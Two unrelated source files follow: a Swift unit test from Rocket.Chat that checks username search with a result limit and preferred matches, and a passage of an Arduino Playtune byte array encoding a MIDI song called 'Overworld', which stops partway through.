// Copyright © 2017 Rocket.Chat. All rights reserved.
//
import Foundation
import RealmSwift
import XCTest
@testable import Rocket_Chat
class UserExtensionsSpec: XCTestCase {
func testSearchUsernameContaining() {
guard let realm = Realm.current else {
XCTFail("realm could not be instantiated")
return
}
AuthSettingsManager.settings?.useUserRealName = false
(0..<10).forEach {
let user = User.testInstance()
user.identifier = "test_\($0)"
user.username = user.identifier
realm.execute({ _ in
realm.add(user)
})
}
(0..<3).forEach {
let user = User.testInstance()
user.identifier = "testpreference_\($0)"
user.username = user.identifier
realm.execute({ _ in
realm.add(user)
})
}
var users = User.search(usernameContaining: "test_", preference: [], limit: 5, realm: realm)
XCTAssertEqual(users.count, 5)
users = User.search(usernameContaining: "test_", preference: [], limit: 20, realm: realm)
XCTAssertEqual(users.count, 10)
users = User.search(usernameContaining: "_", preference: ["testpreference_1", "testpreference_2"], limit: 2, realm: realm)
XCTAssertTrue(users.contains(where: { $0.0 == "testpreference_1" }))
XCTAssertTrue(users.contains(where: { $0.0 == "testpreference_2" }))
}
}
| {
"pile_set_name": "Github"
} |
// Playtune bytestream for file "..\..\Downloads\Good Midi\Overworld.mid" created by MIDITONES V1.14 on Sun Mar 5 00:09:03 2017
#include <Arduino.h>
const unsigned char PROGMEM score [] = {
0xC0,48, 0x90,66,127, 0xC1,48, 0x91,62,127, 0xC2,48, 0x92,38,127, 0xC3,48, 0x93,38,127, 0,222, 0x92,45,127, 0,222,
0x92,50,127, 0,222, 0x92,38,127, 0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x92,33,127,
0x93,45,127, 0,222, 0x90,38,127, 0x91,68,127, 0x92,64,127, 0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127,
0,222, 0x90,38,127, 0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127,
0,222, 0x90,38,127, 0x91,66,127, 0x92,62,127, 0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222,
0x90,38,127, 0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127, 0,222,
0x90,38,127, 0x91,69,127, 0x92,61,127, 0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222, 0x90,38,127,
0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127, 0,222, 0x90,38,127,
0x91,66,127, 0x92,62,127, 0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222, 0x90,38,127, 0x93,52,127,
1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127, 0,222, 0x90,38,127, 0x91,68,127,
0x92,64,127, 0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222, 0x90,38,127, 0x93,52,127, 1,188,
0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127, 0,222, 0x90,38,127, 0x91,66,127, 0x92,62,127,
0x93,38,127, 0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222, 0x90,38,127, 0x93,52,127, 1,188, 0x93,50,127,
0,222, 0x93,50,127, 0,222, 0x90,33,127, 0x93,45,127, 0,222, 0x90,38,127, 0x91,69,127, 0x92,61,127, 0x93,38,127,
0,222, 0x93,45,127, 0,222, 0x93,50,127, 0,222, 0x90,38,127, 0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127,
0,222, 0x90,33,127, 0x93,45,127, 0,222, 0xC0,57, 0x90,66,127, 0xC4,60, 0x94,57,127, 0x91,38,127, 0x92,62,127,
0x93,66,127, 0xC5,48, 0x95,38,127, 0xC6,48, 0x96,57,127, 0,222, 0x80, 0,111, 0x90,62,127, 0,111, 0x90,57,127,
0x83, 0x85, 0,222, 0x93,66,127, 0x95,38,127, 0,222, 0x83, 0x85, 0,222, 0x93,66,127, 0x95,38,127, 0,111, 0x83, 0x85,
0,111, 0x93,66,127, 0x95,38,127, 0,111, 0x83, 0x85, 0,111, 0x93,66,127, 0x95,38,127, 0,111, 0x83, 0x85, 0,111,
0x91,66,127, 0x92,38,127, 0x93,38,127, 0x95,62,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,66,127, 0x92,38,127,
0,222, 0x81, 0x82, 0,222, 0x91,66,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x90,62,127,
0,111, 0x90,57,127, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x90,62,127, 0,111, 0x90,66,127, 0x81, 0x82, 0,111,
0x91,69,127, 0x92,42,127, 0x94,64,127, 0x93,64,127, 0x95,42,127, 0x90,69,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222,
0x91,69,127, 0x92,42,127, 0,222, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127,
0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127,
0x93,42,127, 0x94,62,127, 0x95,62,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,222,
0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x90,69,127, 0,111,
0x80, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x90,67,127, 0,111, 0x90,66,127, 0x81, 0x82, 0,111, 0x91,67,127,
0x92,43,127, 0x94,62,127, 0x93,62,127, 0x95,43,127, 0x90,67,127, 0x96,59,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127,
0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0x93,43,127,
0x95,62,127, 0x96,59,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127,
0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127,
0,111, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0x93,45,127, 0x90,64,127, 0x94,64,127, 0x95,62,127, 0x96,57,127,
1,188, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,222, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,111,
0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0x94,69,127, 0,111, 0x81, 0x82, 0,37, 0x94,69,127, 0,74, 0x91,64,127,
0x92,40,127, 0,74, 0x94,69,127, 0,37, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0x93,45,127, 0x94,69,127,
0x95,61,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,222, 0x90,57,127, 0x81, 0x82, 0,222,
0x91,64,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,64,127,
0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0x93,43,127, 0x90,59,127, 0x95,62,127, 0x96,59,127,
0x84, 0,111, 0x80, 0,111, 0x90,59,127, 0,111, 0x90,61,127, 0,111, 0x90,62,127, 0x81, 0x82, 0,222, 0x91,67,127,
0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x94,59,127, 0x91,67,127, 0x92,43,127,
0x93,43,127, 0x95,62,127, 0x96,59,127, 0,111, 0x84, 0,111, 0x94,59,127, 0,111, 0x94,61,127, 0,111, 0x94,62,127,
0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82,
0,111, 0x91,67,127, 0x92,43,127, 0x90,64,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0,111, 0x81,
0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x93,42,127, 0x90,62,127, 0x94,62,127, 0x95,57,127, 0x96,62,127, 1,188,
0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,222, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82,
0,111, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111,
0x91,69,127, 0x92,42,127, 0x93,42,127, 0x90,57,127, 0x94,57,127, 0x95,57,127, 0x96,62,127, 1,188, 0x81, 0x82, 0,222,
0x91,69,127, 0x92,42,127, 0,222, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127,
0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,40,127,
0x93,40,127, 0x90,59,127, 0x95,62,127, 0x96,59,127, 0x84, 0,111, 0x80, 0,111, 0x90,59,127, 0,111, 0x90,61,127,
0,111, 0x90,62,127, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,40,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,40,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,40,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,40,127, 0,111,
0x81, 0x82, 0,111, 0x94,59,127, 0x91,67,127, 0x92,40,127, 0x93,40,127, 0x95,59,127, 0x96,62,127, 0,111, 0x84, 0,111,
0x94,59,127, 0,111, 0x94,61,127, 0,111, 0x94,62,127, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,40,127, 0,222, 0x81,
0x82, 0,222, 0x91,67,127, 0x92,40,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,40,127, 0x90,64,127, 0,111,
0x81, 0x82, 0,111, 0x91,67,127, 0x92,40,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,45,127, 0x93,45,127, 0x90,62,127,
0x94,59,127, 0x95,62,127, 0x96,59,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,45,127, 0,222, 0x81, 0x82, 0,222,
0x91,67,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127,
0x92,40,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,45,127, 0x93,45,127, 0x90,64,127, 0x94,61,127, 0x95,61,127,
0x96,64,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,45,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,45,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,45,127, 0,111,
0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x93,38,127, 0x90,66,127, 0x94,57,127, 0x95,62,127, 0x96,57,127, 0,222,
0x80, 0,111, 0x90,62,127, 0,111, 0x90,57,127, 0x81, 0x82, 0,222, 0x91,66,127, 0x92,38,127, 0,222, 0x81, 0x82, 0,222,
0x91,66,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,66,127,
0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x93,38,127, 0x94,66,127, 0x95,57,127, 0x96,62,127,
0,222, 0x84, 0,111, 0x94,62,127, 0,111, 0x94,57,127, 0x81, 0x82, 0,222, 0x91,66,127, 0x92,38,127, 0,222, 0x81,
0x82, 0,222, 0x91,66,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x90,62,127, 0,111,
0x90,57,127, 0x81, 0x82, 0,111, 0x91,66,127, 0x92,38,127, 0x90,62,127, 0,111, 0x90,66,127, 0x81, 0x82, 0,111, 0x91,69,127,
0x92,42,127, 0x94,64,127, 0x93,64,127, 0x95,42,127, 0x90,69,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,69,127,
0x92,42,127, 0,222, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127,
0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x93,42,127,
0x94,62,127, 0x95,62,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,222, 0x81, 0x82, 0,222,
0x91,69,127, 0x92,42,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x90,69,127, 0,111, 0x80, 0x81, 0x82,
0,111, 0x91,69,127, 0x92,42,127, 0x90,67,127, 0,111, 0x90,66,127, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127,
0x94,62,127, 0x93,59,127, 0x95,43,127, 0x90,67,127, 0x96,62,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127,
0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0x94,69,127,
0,111, 0x81, 0x82, 0x84, 0,111, 0x91,67,127, 0x92,38,127, 0x94,67,127, 0,111, 0x94,66,127, 0x81, 0x82, 0,111, 0x91,67,127,
0x92,43,127, 0x93,62,127, 0x95,43,127, 0x94,67,127, 0x96,59,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127,
0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0,111,
0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0x93,45,127, 0x90,64,127,
0x94,64,127, 0x95,62,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,222, 0x81, 0x82, 0,222,
0x91,64,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0x94,69,127, 0,111, 0x81, 0x82, 0,37,
0x94,69,127, 0,74, 0x91,64,127, 0x92,40,127, 0,74, 0x94,69,127, 0,37, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127,
0x93,45,127, 0x94,69,127, 0x95,61,127, 0x96,57,127, 1,188, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,222,
0x90,57,127, 0x81, 0x82, 0,222, 0x91,64,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0,111,
0x81, 0x82, 0,111, 0x91,64,127, 0x92,45,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0x93,43,127, 0x90,59,127,
0x95,59,127, 0x96,62,127, 0x84, 0,111, 0x80, 0,111, 0x90,59,127, 0,111, 0x90,61,127, 0,111, 0x90,62,127, 0x81,
0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111,
0x91,67,127, 0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,38,127, 0,111, 0x81, 0x82, 0,111, 0x94,59,127,
0x91,67,127, 0x92,43,127, 0x93,43,127, 0x95,62,127, 0x96,59,127, 0,111, 0x84, 0,111, 0x94,59,127, 0,111, 0x94,61,127,
0,111, 0x94,62,127, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,43,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127, 0x90,64,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,43,127,
0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x93,42,127, 0x90,62,127, 0x94,62,127, 0x95,57,127, 0x96,62,127,
1,188, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127, 0,222, 0x90,66,127, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,42,127,
0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127, 0x94,64,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,42,127,
0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,47,127, 0x93,47,127, 0x94,62,127, 0x95,59,127, 0x96,62,127, 1,188,
0x81, 0x82, 0,222, 0x91,69,127, 0x92,47,127, 0,222, 0x81, 0x82, 0,222, 0x91,69,127, 0x92,47,127, 0,111, 0x81, 0x82,
0,111, 0x91,69,127, 0x92,47,127, 0,111, 0x81, 0x82, 0,111, 0x91,69,127, 0x92,47,127, 0,111, 0x81, 0x82, 0,111,
0x91,65,127, 0x92,46,127, 0x93,46,127, 0x90,62,127, 0x95,58,127, 0x96,62,127, 0x84, 0,111, 0x80, 0,111, 0x90,62,127,
0,111, 0x90,64,127, 0,111, 0x90,65,127, 0x81, 0x82, 0,222, 0x91,65,127, 0x92,46,127, 0,222, 0x81, 0x82, 0,222,
0x91,65,127, 0x92,46,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127, 0x92,46,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127,
0x92,46,127, 0,111, 0x81, 0x82, 0,111, 0x94,58,127, 0x91,65,127, 0x92,46,127, 0x93,46,127, 0x95,58,127, 0x96,62,127,
0,111, 0x84, 0,111, 0x94,58,127, 0,111, 0x94,60,127, 0,111, 0x94,62,127, 0x81, 0x82, 0,222, 0x91,65,127, 0x92,46,127,
0,222, 0x81, 0x82, 0,222, 0x91,65,127, 0x92,46,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127, 0x92,46,127, 0,111,
0x81, 0x82, 0,111, 0x91,65,127, 0x92,46,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127, 0x92,48,127, 0x93,48,127, 0x90,62,127,
0x94,58,127, 0x95,58,127, 0x96,62,127, 0,111, 0x80, 0x84, 0,111, 0x90,62,127, 0x94,58,127, 0,111, 0x90,64,127,
0x94,60,127, 0,111, 0x90,65,127, 0x94,62,127, 0x81, 0x82, 0,222, 0x91,65,127, 0x92,48,127, 0,222, 0x81, 0x82, 0,222,
0x91,65,127, 0x92,48,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127, 0x92,48,127, 0,111, 0x81, 0x82, 0,111, 0x91,65,127,
0x92,43,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,36,127, 0x93,48,127, 0x90,67,127, 0x94,64,127, 0x95,64,127,
0x96,60,127, 1,188, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,36,127, 0,222, 0x81, 0x82, 0,222, 0x91,67,127, 0x92,36,127,
0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,36,127, 0,111, 0x81, 0x82, 0,111, 0x91,67,127, 0x92,36,127, 0,111,
0x81, 0x82, 0,111, 0x91,62,127, 0x92,38,127, 0x93,38,127, 0x95,66,127, 0x80, 0x84, 0x86, 0,222, 0x92,45,127, 0,222,
0x92,50,127, 0,222, 0x92,38,127, 0x93,52,127, 1,188, 0x93,50,127, 0,222, 0x93,50,127, 0,222, 0x92,33,127,
0x93,45,127, 0,222, 0x91,38,127, 0x92,68,127, 0x93,64,127, 0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127,
0,222, 0x91,38,127, 0x95,52,127, 1,188, 0x95,50,127, 0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127,
0,222, 0x91,38,127, 0x92,66,127, 0x93,62,127, 0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222,
0x91,38,127, 0x95,52,127, 1,188, 0x95,50,127, 0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127, 0,222,
0x91,38,127, 0x92,69,127, 0x93,61,127, 0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222, 0x91,38,127,
0x95,52,127, 1,188, 0x95,50,127, 0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127, 0,222, 0x91,38,127,
0x92,66,127, 0x93,62,127, 0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222, 0x91,38,127, 0x95,52,127,
1,188, 0x95,50,127, 0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127, 0,222, 0x91,38,127, 0x92,68,127,
0x93,64,127, 0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222, 0x91,38,127, 0x95,52,127, 1,188,
0x95,50,127, 0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127, 0,222, 0x91,38,127, 0x92,66,127, 0x93,62,127,
0x95,38,127, 0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222, 0x91,38,127, 0x95,52,127, 1,188, 0x95,50,127,
0,222, 0x95,50,127, 0,222, 0x91,33,127, 0x95,45,127, 0,222, 0x91,38,127, 0x92,69,127, 0x93,61,127, 0x95,38,127,
0,222, 0x95,45,127, 0,222, 0x95,50,127, 0,222, 0x91,38,127, 0x95,52,127, 1,188, 0x95,50,127, 0,222, 0x95,50,127,
0,222, 0x91,33,127, 0x95,45,127, 0,222, 0x91,66,127, 0x94,62,127, 0x92,38,127, 0x93,57,127, 0x95,66,127, 0x96,38,127,
0xC0,48, 0x90,62,127, 0,222, 0x81, 0,111, 0x91,62,127, 0,111, 0x91,57,127, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,38,127,
0,222, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,38,127, 0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x96,38,127, 0,111,
0x84, 0x86, 0,111, 0x94,62,127, 0x96,38,127, 0,111, 0x84, 0x86, 0,111, 0xC2,57, 0x92,66,127, 0x94,62,127, 0x96,38,127,
0xC7,48, 0x97,38,127, 0,222, 0x82, 0,111, 0x92,62,127, 0,111, 0x92,57,127, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,38,127,
0,222, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,38,127, 0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x91,38,127, 0x96,62,127,
0,111, 0x81, 0x84, 0,111, 0x94,62,127, 0x91,38,127, 0x96,66,127, 0,111, 0x81, 0x84, 0x86, 0,111, 0x94,64,127, 0x90,37,127,
0x91,66,127, 0x95,64,127, 0x96,69,127, 0x97,37,127, 0,222, 0x91,64,127, 0,111, 0x91,63,127, 0,111, 0x90,64,127,
0x81, 0x84, 0,222, 0x94,64,127, 0x91,37,127, 0,222, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,37,127, 0,111, 0x81, 0x84,
0,111, 0x94,64,127, 0x91,37,127, 0x92,62,127, 0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x91,37,127, 0x92,66,127,
0,111, 0x81, 0x82, 0x84, 0,111, 0x94,64,127, 0x91,37,127, 0x92,66,127, 0x97,37,127, 0,222, 0x92,64,127, 0,111,
0x92,63,127, 0,111, 0x92,64,127, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,37,127, 0,222, 0x81, 0x84, 0,222, 0x94,64,127,
0x91,37,127, 0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x91,37,127, 0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x90,37,127,
0x91,62,127, 0,111, 0x90,64,127, 0x81, 0x84, 0,111, 0x94,64,127, 0x91,36,127, 0x90,64,127, 0x93,69,127, 0x95,36,127,
0x96,66,127, 0x97,57,127, 0,222, 0x86, 0,111, 0x96,62,127, 0,111, 0x91,57,127, 0x84, 0x86, 0,222, 0x94,64,127,
0x96,36,127, 0,222, 0x84, 0x86, 0,222, 0x94,64,127, 0x96,36,127, 0,111, 0x84, 0x86, 0,111, 0x94,64,127, 0x96,36,127,
0,111, 0x84, 0x86, 0,111, 0x94,64,127, 0x96,36,127, 0x92,62,127, 0,111, 0x92,64,127, 0x84, 0x86, 0,111, 0x94,62,127,
0x90,36,127, 0x93,62,127, 0x95,69,127, 0x96,36,127, 0x92,66,127, 0,222, 0x82, 0,111, 0x92,62,127, 0,111, 0x92,57,127,
0x80, 0x84, 0,222, 0x94,62,127, 0x90,36,127, 0,222, 0x80, 0x84, 0,222, 0x94,62,127, 0x90,36,127, 0x91,62,127, 0,111,
0x80, 0x81, 0x84, 0,111, 0x94,62,127, 0x90,36,127, 0x91,62,127, 0,111, 0x90,64,127, 0x81, 0x84, 0,111, 0x94,62,127,
0x91,36,127, 0x90,66,127, 0,111, 0x90,67,127, 0x81, 0x84, 0,111, 0x94,62,127, 0x91,35,127, 0x90,59,127, 0x95,67,127,
0x96,35,127, 0x97,69,127, 1,188, 0x81, 0x84, 0,222, 0x94,62,127, 0x91,35,127, 0x97,67,127, 0,111, 0x97,66,127,
0,111, 0x91,67,127, 0x84, 0x87, 0,222, 0x94,62,127, 0x97,35,127, 0x92,62,127, 0,111, 0x82, 0x84, 0x87, 0,111, 0x94,62,127,
0x97,35,127, 0x92,62,127, 0,111, 0x92,64,127, 0x84, 0x87, 0,111, 0x94,62,127, 0x97,35,127, 0x92,66,127, 0,111,
0x92,67,127, 0x84, 0x87, 0,111, 0x94,62,127, 0x95,35,127, 0x96,67,127, 0x97,35,127, 0x92,69,127, 1,188, 0x84, 0x85,
0,222, 0x94,62,127, 0x95,35,127, 0x92,67,127, 0,111, 0x92,66,127, 0,111, 0x92,67,127, 0x84, 0x85, 0,222, 0x94,62,127,
0x95,35,127, 0,111, 0x84, 0x85, 0,111, 0x94,62,127, 0x95,35,127, 0,111, 0x84, 0x85, 0,111, 0x94,62,127, 0x95,35,127,
0,111, 0x84, 0x85, 0,111, 0x94,62,127, 0x90,43,127, 0x91,43,127, 0x93,71,127, 0x95,67,127, 0x96,71,127, 0x97,62,127,
0,222, 0x83, 0,111, 0x93,67,127, 0,111, 0x90,62,127, 0x83, 0x84, 0,222, 0x94,62,127, 0x93,43,127, 0,222, 0x83,
0x84, 0,222, 0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111,
0x94,62,127, 0x93,43,127, 0,111, 0x83, 0x84, 0,111, 0x94,62,127, 0x91,43,127, 0x93,43,127, 0x92,71,127, 0x96,71,127,
0,222, 0x82, 0,111, 0x92,67,127, 0,111, 0x92,62,127, 0x81, 0x84, 0,222, 0x94,62,127, 0x91,43,127, 0,222, 0x81,
0x84, 0,222, 0x94,62,127, 0x91,43,127, 0,111, 0x81, 0x84, 0,111, 0x94,62,127, 0x90,43,127, 0x91,67,127, 0,111,
0x80, 0x84, 0,111, 0x94,62,127, 0x90,43,127, 0x91,71,127, 0,111, 0x80, 0x81, 0x84, 0,111, 0x94,64,127, 0x90,42,127,
0x91,71,127, 0x92,64,127, 0x93,66,127, 0x95,69,127, 0x96,42,127, 0x97,64,127, 0,222, 0x91,69,127, 0,111, 0x91,68,127,
0,111, 0x90,69,127, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,42,127, 0,222, 0x81, 0x84, 0,222, 0x94,64,127, 0x91,42,127,
0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x91,42,127, 0,111, 0x81, 0x84, 0,111, 0x94,64,127, 0x90,42,127, 0x91,66,127,
0,111, 0x80, 0x84, 0,111, 0x94,62,127, 0x90,47,127, 0x91,47,127, 0x95,62,127, 0x92,62,127, 0x96,62,127, 0x97,69,127,
1,188, 0x80, 0x84, 0,222, 0x90,47,127, 0x94,62,127, 0,222, 0x80, 0x84, 0,222, 0x90,47,127, 0x94,62,127, 0,111,
0x80, 0x84, 0,111, 0x90,47,127, 0x94,62,127, 0,111, 0x80, 0x84, 0,111, 0x90,47,127, 0x94,62,127, 0,111, 0x80, 0x84,
0,111, 0x90,40,127, 0x94,62,127, 0x91,59,127, 0x93,67,127, 0x95,40,127, 0x96,62,127, 0x92,62,127, 0x97,62,127,
0,111, 0x86, 0,111, 0x96,62,127, 0,111, 0x96,64,127, 0,111, 0x90,66,127, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,40,127,
0,222, 0x84, 0x86, 0,222, 0x94,62,127, 0x96,40,127, 0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x96,40,127, 0,111,
0x84, 0x86, 0,111, 0x94,62,127, 0x96,40,127, 0,111, 0x84, 0x86, 0,111, 0x94,62,127, 0x90,40,127, 0x93,40,127, 0x95,66,127,
0x92,59,127, 0x96,67,127, 0,111, 0x82, 0,111, 0x92,59,127, 0,111, 0x92,61,127, 0,111, 0x92,62,127, 0x80, 0x84,
